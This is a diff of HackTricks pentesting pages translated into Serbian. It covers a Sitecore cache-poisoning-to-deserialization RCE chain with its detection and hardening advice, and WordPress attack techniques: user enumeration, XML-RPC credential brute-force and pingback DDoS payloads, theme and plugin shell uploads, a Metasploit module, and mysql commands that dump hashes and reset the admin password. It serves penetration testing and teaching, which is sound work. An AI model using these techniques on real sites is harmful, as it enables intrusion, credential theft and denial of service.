@ -131,14 +131,14 @@ Sink:
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Dostupno putem pipeline stepa convertToRuntimeHtml ConvertWebControls, koji traži element sa id-jem {iframeId}_inner i base64 dekodira + deserializuje njegov sadržaj, a zatim injektuje dobijeni string u HTML:
Dostupno putem convertToRuntimeHtml pipeline stepa ConvertWebControls, koji traži element sa id-jem {iframeId}_inner i base64 dekodira + deserializuje ga, zatim ubacuje dobijeni string u HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Okidač (autentifikovan, Content Editor rights). FixHtml dialog poziva convertToRuntimeHtml. End‑to‑end bez UI klikova:
Okidač (autentifikovan, Content Editor rights). Dijalog FixHtml poziva convertToRuntimeHtml. End‑to‑end bez klikova u UI:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
@ -159,30 +159,31 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. Sadržaj stringa se upisuje u HTML od strane ConvertWebControls nakon što se izvrše deserialization side‑effects.
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Complete chain
## Kompletan lanac
1) Pre‑auth napadač zatrova HtmlCache proizvoljnim HTML-om reflektivnim pozivanjem WebControl.AddToCache preko XAML AjaxScriptManager.
2) Zatrovani HTML servira JavaScript koji nagovara autentifikovanog Content Editor korisnika da pokrene FixHtml flow.
3) FixHtml stranica okida convertToRuntimeHtml → ConvertWebControls, koji deserializuje napadačem kontrolisan base64 preko BinaryFormatter → RCE pod identitetom Sitecore app pool-a.
2) Zatrovani HTML isporučuje JavaScript koji potiče autentifikovanog Content Editor korisnika kroz FixHtml tok.
3) Stranica FixHtml pokreće convertToRuntimeHtml → ConvertWebControls, koji deserijalizuje napadačem kontrolisani base64 preko BinaryFormatter → RCE pod Sitecore app pool identitetom.
## Detection
## Detekcija
- Pre‑auth XAML: zahtevi ka `/-/xaml/Sitecore.Shell.Xaml.WebControl` sa `__ISEVENT=1`, sumnjivim `__SOURCE` i `__PARAMETERS=AddToCache(...)`.
- ItemService probing: nagla povećanja wildcard upita ka `/sitecore/api/ssc`, veliki `TotalCount` sa praznim `Results`.
- Deserialization attempts: `EditHtml.aspx` praćeno `FixHtml.aspx?hdl=...` i neuobičajeno velikim base64 vrednostima u HTML poljima.
- ItemService probing: skokovi wildcard upita ka `/sitecore/api/ssc`, veliki `TotalCount` sa praznim `Results`.
- Pokušaji deserijalizacije: `EditHtml.aspx` praćeno `FixHtml.aspx?hdl=...` i neuobičajeno veliki base64 u HTML poljima.
## Hardening
## Ojačavanje
- Primeniti Sitecore zakrpe KB1003667 i KB1003734; gate/onemogućiti pre‑auth XAML handlere ili dodati strogu validaciju; nadgledati i rate‑limit-ovati `/-/xaml/`.
- Ukloniti/zameniti BinaryFormatter; ograničiti pristup convertToRuntimeHtml ili primeniti strogu serversku validaciju tokova uređivanja HTML-a.
- Zaključati `/sitecore/api/ssc` na loopback ili na autentifikovane role; izbegavati impersonation obrasce koji leak-uju side‑kanale zasnovane na `TotalCount`.
- Primenjivati MFA i princip najmanjih privilegija za Content Editor korisnike; revidirati CSP kako bi se smanjio uticaj JS steering-a koji proizlazi iz cache poisoning-a.
- Primeni Sitecore zakrpe KB1003667 i KB1003734; ogradi/onemogući pre‑auth XAML handlere ili dodaj strogu validaciju; nadzirati i rate‑limitovati `/-/xaml/`.
- Ukloni/zameni BinaryFormatter; ograniči pristup convertToRuntimeHtml ili uvedi strogu server-side validaciju tokova za uređivanje HTML-a.
- Zaključa `/sitecore/api/ssc` za loopback ili autentifikovane role; izbegavati obrasce impersonacije koji leak-uju side‑kanale zasnovane na `TotalCount`.
- Primeni MFA/princip najmanjih privilegija za Content Editor korisnike; preispitaj CSP da smanji uticaj JS steering-a iz cache poisoning-a.
## References

344
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
## Basic Information
- **Otpremljene** datoteke idu u: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Fajlovi tema se nalaze u /wp-content/themes/,** tako da ako promenite neki php fajl teme da biste dobili RCE verovatno ćete koristiti tu putanju. Na primer: Koristeći **theme twentytwelve** možete **pristupiti** fajlu **404.php** u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** tako da ako promenite neki php fajl teme da biste dobili RCE verovatno ćete koristiti taj path. Na primer: Koristeći **theme twentytwelve** možete **access** fajl **404.php** na: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Još jedan koristan URL može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- U **wp-config.php** možete pronaći root lozinku baze podataka.
- Podrazumevane putanje za login koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- U **wp-config.php** možete naći root lozinku baze podataka.
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Glavni WordPress fajlovi**
### **Main WordPress Files**
- `index.php`
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
- `wp-activate.php` se koristi za proces aktivacije putem email-a prilikom podešavanja novog WordPress sajta.
- Login folderi (mogu biti preimenovani da bi se sakrili):
- Login folders (may be renamed to hide it):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao mehanizam enkodiranja. Ovaj tip komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` je glavni direktorijum u kome se čuvaju plugins i themes.
- `wp-content/uploads/` je direktorijum gde se čuvaju svi fajlovi upload-ovani na platformu.
- `wp-includes/` je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widgets.
- `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, WordPress generiše sitemap XML fajl sa svim javnim postovima i javno query-abilnim tipovima postova i taksonomijama.
- `xmlrpc.php` je fajl koji predstavlja funkcionalnost WordPress-a koja omogućava prenos podataka koristeći HTTP kao transportni mehanizam i XML kao šemu enkodiranja. Ovaj tip komunikacije je zamenjen WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Folder `wp-content` je glavna mapa u kojoj se čuvaju plugins i themes.
- `wp-content/uploads/` je direktorijum gde se čuvaju fajlovi koje su učitani na platformu.
- `wp-includes/` Ovo je direktorijum gde se nalaze core fajlovi, kao što su sertifikati, fontovi, JavaScript fajlovi i widget-i.
- `wp-sitemap.xml` U Wordpress verzijama 5.5 i novijim, Wordpress generiše sitemap XML fajl sa svim javnim postovima i javno queryable post type-ovima i taxonomies.
**Post exploitation**
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u da se poveže na bazu podataka kao što su ime baze, host baze, username i password, authentication keys i salts, i prefix tabela u bazi. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri otklanjanju problema.
- Fajl `wp-config.php` sadrži informacije potrebne WordPress-u za konekciju na bazu podataka kao što su ime baze, host baze, username i password, authentication keys i salts, i prefiks tabela baze podataka. Ovaj konfiguracioni fajl se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno pri rešavanju problema.
### Permissions korisnika
### Users Permissions
- **Administrator**
- **Editor**: Objavljuje i upravlja svojim i tuđim postovima
- **Author**: Objavljuje i upravlja sopstvenim postovima
- **Contributor**: Piše i upravlja svojim postovima, ali ne može da ih objavi
- **Subscriber**: Pregleda postove i uređuje svoj profil
- **Editor**: Publish and manages his and others posts
- **Author**: Publish and manage his own posts
- **Contributor**: Write and manage his posts but cannot publish them
- **Subscriber**: Browser posts and edit their profile
## **Passive Enumeration**
@ -56,23 +56,23 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- CSS link fajlovi
- CSS link datoteke
![](<../../images/image (533).png>)
- JavaScript fajlovi
- JavaScript datoteke
![](<../../images/image (524).png>)
### Preuzmi Plugins
### Preuzmi dodatke
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Preuzmi teme
### Preuzimanje tema
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Ekstrakcija verzija uopšteno
### Izdvajanje verzija uopšteno
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,15 +81,15 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Dodaci i teme
Verovatno nećete moći da pronađete sve dodatke i teme. Da biste otkrili sve, moraćete da **aktivno Brute Force listu dodataka i tema** (nadajmo se da postoje automatizovani alati koji sadrže te liste).
Verovatno nećete moći da pronađete sve Plugins i Themes koje su moguće. Da biste otkrili sve, moraćete da **actively Brute Force a list of Plugins and Themes** (nadamo se da za nas postoje automatizovani alati koji sadrže te liste).
### Korisnici
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing korisničkih ID-eva:
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing users IDs:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Ako su odgovori **200** ili **30X**, to znači da je id **važeći**. Ako je odgovor **400**, onda je id **nevažeći**.
Ako su odgovori **200** ili **30X**, to znači da je id **validan**. Ako je odgovor **400**, onda je id **nevalidan**.
- **wp-json:** Takođe možete pokušati da dobijete informacije o korisnicima upitom:
```bash
@ -99,19 +99,19 @@ Još jedan `/wp-json/` endpoint koji može otkriti neke informacije o korisnicim
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće pružene samo informacije o korisnicima koji imaju ovu opciju omogućenu**.
Imajte na umu da ovaj endpoint izlaže samo korisnike koji su napravili post. **Biće dostupne samo informacije o korisnicima kojima je ova funkcija omogućena**.
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak-ovati IP adrese.
Takođe imajte na umu da **/wp-json/wp/v2/pages** može leak IP addresses.
- **Login username enumeration**: Prilikom prijave na **`/wp-login.php`** poruka je **različita** u zavisnosti od toga da li naznačeno **korisničko ime postoji ili ne**.
- **Login username enumeration**: Prilikom prijave na **`/wp-login.php`** **poruka** je **različita** i ukazuje da li **korisničko ime postoji ili ne**.
### XML-RPC
Ako je `xml-rpc.php` aktivan, možete izvršiti brute-force kredencijala ili ga koristiti za pokretanje DoS napada na druge resurse. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
Ako je `xml-rpc.php` aktivan možete izvesti credentials brute-force ili ga koristiti za pokretanje DoS napada na druge resurse. (Na primer, možete automatizovati ovaj proces [using this](https://github.com/relarizky/wpxploit)).
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljete ovaj zahtev:
Da biste proverili da li je aktivan pokušajte da pristupite _**/xmlrpc.php**_ i pošaljete ovaj zahtev:
**Proveri**
**Provera**
```html
<methodCall>
<methodName>system.listMethods</methodName>
@ -122,7 +122,7 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** su neki od metoda koji se mogu koristiti za brute-force credentials. Ako možete pronaći bilo koji od njih, možete poslati nešto poput:
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za brute-force credentials. Ako pronađete bilo koju od njih, možete poslati nešto poput:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_
</params>
</methodCall>
```
Poruka _"Incorrect username or password"_ u odgovoru sa statusnim kodom 200 treba da se pojavi ako kredencijali nisu validni.
Poruka _"Incorrect username or password"_ u odgovoru sa statusnim kodom 200 treba да се појави ако креденцијали нису валидни.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Koristeći ispravne kredencijale možete otpremiti fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Koristeći ispravne kredencijale možete uploadovati fajl. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -172,14 +172,14 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Zaobilaženje 2FA**
**Bypass 2FA**
Ova metoda je namenjena programima, a ne ljudima, i zastarela je, pa ne podržava 2FA. Dakle, ako imate validne creds ali je glavni ulaz zaštićen 2FA, **možda ćete moći zloupotrebiti xmlrpc.php da se prijavite koristeći te creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete kroz konzolu, ali ipak možete uspeti da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Ova metoda je namenjena programima, a ne ljudima, i stara je, zato ne podržava 2FA. Dakle, ako imate validne creds ali je glavni pristup zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se ulogujete tim creds i zaobiđete 2FA**. Imajte na umu da nećete moći da izvršite sve akcije koje možete iz konzole, ali i dalje biste mogli da dođete do RCE kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS ili port scanning**
**DDoS or port scanning**
Ako u listi pronađete metodu _**pingback.ping**_, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.\
Ovo se može iskoristiti da naterate **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako se u toj lokaciji izaziva **DDoS**) ili možete iskoristiti da naterate **Wordpress** da **scan** neku internu **network** (možete navesti bilo koji port).
Ako možete da pronađete metodu _**pingback.ping**_ u listi, možete naterati Wordpress da pošalje proizvoljan zahtev na bilo koji host/port.\
Ovo se može iskoristiti da se zamoli **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako se prouzrokuje **DDoS** na toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skenira** neku internu **mrežu** (možete navesti bilo koji port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,7 +193,7 @@ Ovo se može iskoristiti da naterate **hiljade** Wordpress **sajtova** da **pris
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako da zloupotrebite ovu metodu da prouzrokujete DDoS.
Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu i izazovete DDoS.
**DDoS**
```html
@ -209,11 +209,11 @@ Pogledajte upotrebu **`system.multicall`** u prethodnom odeljku da naučite kako
### wp-cron.php DoS
Ovaj fajl obično postoji pod root direktorijumom Wordpress sajta: **`/wp-cron.php`**\
Kada se ovaj fajl **pristupi**, izvršava se "**težak**" MySQL **upit**, pa može biti iskorišćen od strane **napadača** da **izazove** **DoS**.\
Takođe, podrazumevano, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
Ovaj fajl se obično nalazi u korenu Wordpress sajta: **`/wp-cron.php`**\
Kada se ovom fajlu **pristupi**, izvršava se "**težak**" MySQL **upit**, pa ga **napadači** mogu iskoristiti da prouzrokuju **DoS**.\
Takođe, podrazumevano se `wp-cron.php` poziva pri svakom učitavanju stranice (kad god klijent zatraži bilo koju Wordpress stranicu), što na sajtovima sa velikim saobraćajem može izazvati probleme (DoS).
Preporučuje se onemogućiti Wp-Cron i kreirati pravi cronjob na hostu koji će izvršavati potrebne akcije u redovnim intervalima (bez izazivanja problema).
Preporučuje se onemogućiti Wp-Cron i napraviti pravi cronjob na hostu koji će u redovnim intervalima izvršavati potrebne radnje (bez izazivanja problema).
### /wp-json/oembed/1.0/proxy - SSRF
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy**, i ako postoje, pokušava da ih iskoristi.
Ovaj alat proverava da li postoji **methodName: pingback.ping** i putanja **/wp-json/oembed/1.0/proxy**, i ukoliko postoje, pokušava da ih iskoristi.
## Automatski alati
```bash
@ -238,122 +238,122 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Dobijanje pristupa prepisivanjem jednog bita
## Dobijanje pristupa prepisivanjem bita
Više radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si da preokreneš 1 bit u bilo kom wordpress fajlu. Tako si mogao da preokreneš bit na poziciji `5389` u fajlu `/var/www/html/wp-includes/user.php` da bi NOP-ovao NOT (`!`) operator.
Više je radoznalost nego stvarni napad. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogao si flip-ovati 1 bit u bilo kojem wordpress fajlu. Dakle, mogao si flip-ovati bit na poziciji `5389` fajla `/var/www/html/wp-includes/user.php` i time NOP-ovati NOT (`!`) operaciju.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Izmena php fajla iz korišćene teme (admin credentials needed)**
**Modifikovanje php fajla iz korišćene teme (potrebni admin kredencijali)**
Appearance → Theme Editor → 404 Template (sa desne strane)
Promenite sadržaj u php shell:
Promeni sadržaj u php shell:
![](<../../images/image (384).png>)
Potražite na internetu kako pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Pretraži internet kako možeš da pristupiš toj ažuriranoj stranici. U ovom slučaju treba da pristupiš ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Možete koristiti:
Možeš koristiti:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
da biste dobili sesiju.
da bi se dobila sesija.
## Plugin RCE
### PHP plugin
Može biti moguće otpremiti .php fajlove kao plugin.
Kreirajte svoj php backdoor, na primer koristeći:
It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:
![](<../../images/image (183).png>)
Zatim dodajte novi plugin:
Then add a new plugin:
![](<../../images/image (722).png>)
Otpremajte plugin i kliknite Install Now:
Upload plugin and press Install Now:
![](<../../images/image (249).png>)
Kliknite na Procced:
Click on Procced:
![](<../../images/image (70).png>)
Verovatno ovo neće naizgled ništa uraditi, ali ako odete u Media, videćete da je vaš shell otpremljen:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
![](<../../images/image (462).png>)
Pristupite mu i videćete URL za izvršenje reverse shell-a:
Access it and you will see the URL to execute the reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
Ova metoda uključuje instalaciju zlonamernog plugina koji je poznat kao ranjiv i može se iskoristiti za dobivanje web shell-a. Proces se izvodi kroz WordPress dashboard na sledeći način:
Ova metoda podrazumeva instalaciju malicioznog plugina za koji je poznato da je ranjiv i koji se može iskoristiti za dobijanje web shella. Ovaj proces se izvodi preko WordPress dashboard-a na sledeći način:
1. **Plugin Acquisition**: plugin se dobavlja iz izvora kao što je Exploit DB, na primer [**here**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: Plugin se preuzima sa izvora kao što je Exploit DB, na primer [**ovde**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- Idite na WordPress dashboard, zatim na `Dashboard > Plugins > Upload Plugin`.
- Otpremajte zip fajl preuzetog plugina.
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora biti aktiviran preko dashboard-a.
- U WordPress dashboard-u idite na `Dashboard > Plugins > Upload Plugin`.
- Otpremite zip fajl preuzetog plugina.
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora biti aktiviran kroz dashboard.
4. **Exploitation**:
- Sa pluginom "reflex-gallery" instaliranim i aktiviranim, može biti eksploatisan jer je poznato da je ranjiv.
- Metasploit framework obezbeđuje exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, čime se dobija neautorizovani pristup sajtu.
- Napominje se da je ovo samo jedan od mnogih načina da se iskoristi WordPress sajt.
- Sa instaliranim i aktiviranim pluginom "reflex-gallery" može se iskoristiti jer je poznato da je ranjiv.
- Metasploit framework pruža exploit za ovu ranjivost. Učitavanjem odgovarajućeg modula i izvršavanjem specifičnih komandi može se uspostaviti meterpreter sesija, koja daje neovlašćen pristup sajtu.
- Napominje se da je ovo samo jedna od mnogih metoda za eksploataciju WordPress sajta.
Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboard-u za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovakav način ilegalno i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u zakonitom kontekstu, kao što je penetration testing uz izričitu dozvolu.
Sadržaj uključuje vizuelna pomagala koja prikazuju korake u WordPress dashboard-u za instalaciju i aktiviranje plugina. Međutim, važno je napomenuti da je eksploatisanje ranjivosti na ovaj način protivzakonito i neetično bez odgovarajuće autorizacije. Ove informacije treba koristiti odgovorno i samo u pravnom kontekstu, kao što je penetration testing uz izričitu dozvolu.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## Od XSS do RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ona pruža podršku za Wordpress Versions 6.X.X, 5.X.X and 4.X.X. i omogućava:
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost u **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Otpremite svoj custom plugin (backdoor) u WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Uređuje ugrađene plugine u WordPress-u.
- _**(RCE) Built-In Theme Edit:**_ Uređuje ugrađene teme u WordPress-u.
- _**(Custom) Custom Exploits:**_ Custom Exploits za third-party WordPress plugine/teme.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Otpremite vaš custom plugin (backdoor) u WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađeni plugin u WordPress-u.
- _**(RCE) Built-In Theme Edit:**_ Uredite ugrađenu temu u WordPress-u.
- _**(Custom) Custom Exploits:**_ Custom exploit-i za third-party WordPress plugine/teme.
## Post Exploitation
Ekstrahujte korisnička imena i lozinke:
Izvucite korisnička imena i lozinke:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Promenite administratorsku lozinku:
Promeni admin lozinku:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Wordpress Dodaci Pentest
### Površina napada
Znanje o tome kako Wordpress plugin može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u toj funkcionalnosti. Možete pronaći načine na koje plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih pluginova u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Znati kako Wordpress dodatak može izložiti funkcionalnost ključno je za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete videti kako dodatak može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih dodataka u [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handler-a. Oni mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često se događa da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koje **bilo koji autentifikovani korisnik u Wordpress instanci može imati** (bez obzira na ulogu).
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je preko AJAX handlera. Ovi mogu sadržavati greške u logici, autorizaciji ili autentifikaciji. Štaviše, prilično često ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (bez obzira na njegovu ulogu).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u pluginu:
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Korišćenje `nopriv` čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).**
**Korišćenje `nopriv` čini endpoint dostupnim bilo kojem korisniku (čak i neautentifikovanim).**
> [!CAUTION]
> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama koje zahtevaju visoke privilegije.
> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup radnjama visokih privilegija.
- **REST API**
Takođe je moguće izložiti funkcije iz WordPress-a registracijom REST API-ja koristeći funkciju `register_rest_route`:
Takođe je moguće izložiti funkcije iz wordpress-a registrujući REST API koristeći funkciju `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
The `permission_callback` is a callback funkcija koja proverava da li je dati korisnik autorizovan da pozove API metodu.
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru permisija korisnika.**
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
- **Direktan pristup php fajlu**
